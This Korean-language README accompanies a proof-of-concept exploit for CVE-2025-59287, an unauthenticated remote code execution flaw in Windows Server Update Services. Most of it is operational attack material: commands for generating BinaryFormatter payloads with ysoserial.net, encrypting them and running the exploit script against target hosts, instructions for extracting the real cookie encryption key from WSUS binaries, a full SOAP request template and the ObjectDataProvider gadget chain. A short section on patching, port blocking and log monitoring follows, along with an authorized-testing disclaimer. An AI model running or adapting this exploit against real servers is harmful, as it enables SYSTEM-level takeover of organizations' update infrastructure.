
CVE-2025-59287에 대한 개념 증명 익스플로잇으로, 안전하지 않은 BinaryFormatter 역직렬화를 통해 WSUS에서 인증 없이 원격 코드 실행(RCE)을 달성하며, 조작된 암호화 쿠키를 통해 SYSTEM 권한을 획득합니다.
CVE-2025-59287은 Microsoft Windows Server Update Services(WSUS)의 치명적인 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 EncryptionHelper.DecryptData() 메서드에서 BinaryFormatter를 통한 AuthorizationCookie 데이터의 안전하지 않은 역직렬화로 인해 발생합니다.
영향: 인증되지 않은 공격자는 GetCookie() 엔드포인트에 악성 암호화 쿠키를 전송하여 SYSTEM 권한으로 원격 코드 실행을 달성할 수 있습니다.
CVSS 점수: 치명적(9.8)
BinaryFormatter.Deserialize() 호출┌─────────────────┐
│ 공격자 │
│ │
│ 1. BinaryFmt │
│ 페이로드 │
│ 생성 │
│ │
│ 2. 페이로드 │
│ 암호화 │
│ │
│ 3. SOAP 요청 │
│ 전송 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ WSUS 서버 │
│ │
│ GetCookie() │
│ 엔드포인트 │
│ │
│ DecryptData() │◄─── 취약
│ │
│ BinaryFormatter│◄─── 안전하지 않은 역직렬화
│ Deserialize() │
│ │
│ 페이로드 실행 │◄─── SYSTEM 권한 RCE
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # 메인 익스플로잇 스크립트
├── BinaryFormatterPayloadGenerator.cs # .NET 페이로드 생성기(C#)
├── encrypt_payload.py # WSUS 암호화 헬퍼
├── requirements.txt # Python 의존성
└── README.md # 이 파일
pip install -r requirements.txt
ysoserial.net 사용옵션 A: 제공된 C# 생성기 사용
# 생성기 컴파일
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# 페이로드 생성
BinaryFormatterPayloadGenerator.exe calc.exe
# 생성: payload_YYYYMMDDHHMMSS.bin
옵션 B: ysoserial.net 사용(권장)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
중요: encrypt_payload.py의 암호화 키는 자리 표시자입니다. 실제 익스플로잇을 위해서는 다음을 수행해야 합니다:
encrypt_payload.py 업데이트# 페이로드 파일 사용(즉시 암호화)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# 사전 암호화된 쿠키 사용
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# HTTPS 사용(포트 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# 생성, 암호화, 익스플로잇을 한 번에
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
실제 익스플로잇을 위해서는 암호화 키를 반드시 WSUS 바이너리에서 추출해야 합니다.
WSUS DLL 찾기:
%ProgramFiles%\Update Services\WebServices\bin\
또는 IIS 웹 디렉터리:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
dnSpy에서 열기(무료 .NET 디컴파일러):
Microsoft.UpdateServices.WebServices.dll 열기EncryptionHelper 검색:
Microsoft.UpdateServices.WebServices 네임스페이스로 이동EncryptionHelper 클래스 찾기DecryptData() 및 EncryptData() 메서드 확인일반적인 패턴:
WinDbg 또는 x64dbg 사용:
EncryptionHelper.DecryptData()에 중단점 설정Process Monitor 사용:
IDA Pro 또는 Ghidra 사용:
strings 유틸리티 사용:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
실제 키를 확보한 후 encrypt_payload.py를 업데이트합니다:
# encrypt_wsus_cookie()에서 이 줄을 교체:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # 자리 표시자
# 실제 키로 교체:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
또는 명령줄로 전달:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter 페이로드 생성 │
│ ObjectDataProvider → Process.Start() → 명령 실행 │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. 페이로드 암호화 │
│ WSUS 암호화 키로 AES-128-CBC │
│ 전송을 위해 Base64 인코딩 │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP 요청 생성 │
│ AuthorizationCookie 헤더에 암호화된 페이로드 포함 │
│ SOAP 본문의 GetCookie() 메서드 │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. WSUS 엔드포인트로 전송 │
│ POST /ClientWebService/ClientWebService.asmx │
│ 포트 8530(HTTP) 또는 8531(HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS 처리 │
│ DecryptData()가 쿠키 복호화 │
│ BinaryFormatter.Deserialize()가 페이로드 실행 │
│ → SYSTEM 권한 RCE │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
익스플로잇은 ObjectDataProvider 가젯 체인을 사용합니다:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
BinaryFormatter.Deserialize()가 이를 처리하면 자동으로:
ObjectDataProvider 역직렬화ObjectInstance(Process)에서 MethodName("Start") 호출MethodParameters(ProcessStartInfo) 전달Microsoft 보안 업데이트 적용: 즉시 패치
임시 해결 방법: WSUS가 필요하지 않은 경우 포트 차단
# WSUS 포트의 인바운드 트래픽 차단
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
네트워크 분리: WSUS 엔드포인트에 대한 액세스 제한
BinaryFormatter 교체: Microsoft는 안전한 직렬화로 교체해야 함
System.Text.Json 또는 System.Xml.Serialization 사용입력 검증: 포괄적인 검증 추가
최소 권한 원칙: WSUS 서비스를 최소 권한으로 실행
WSUS 로그 확인:
%ProgramFiles%\Update Services\LogFiles\
다음 항목 확인:
다음 항목 모니터링:
/ClientWebService/ClientWebService.asmx에 대한 SOAP 요청⚠️ 경고: 이 익스플로잇 코드는 승인된 보안 테스트 전용으로 제공됩니다.
✅ 합법적 사용:
❌ 불법적 사용:
이 익스플로잇의 무단 사용은 형사 기소로 이어질 수 있습니다. 책임감 있고 윤리적으로 사용하십시오.
기억하세요: 항상 격리된 통제된 환경에서 테스트하십시오. 소유하지 않거나 명시적 테스트 허가가 없는 시스템에는 절대 사용하지 마십시오.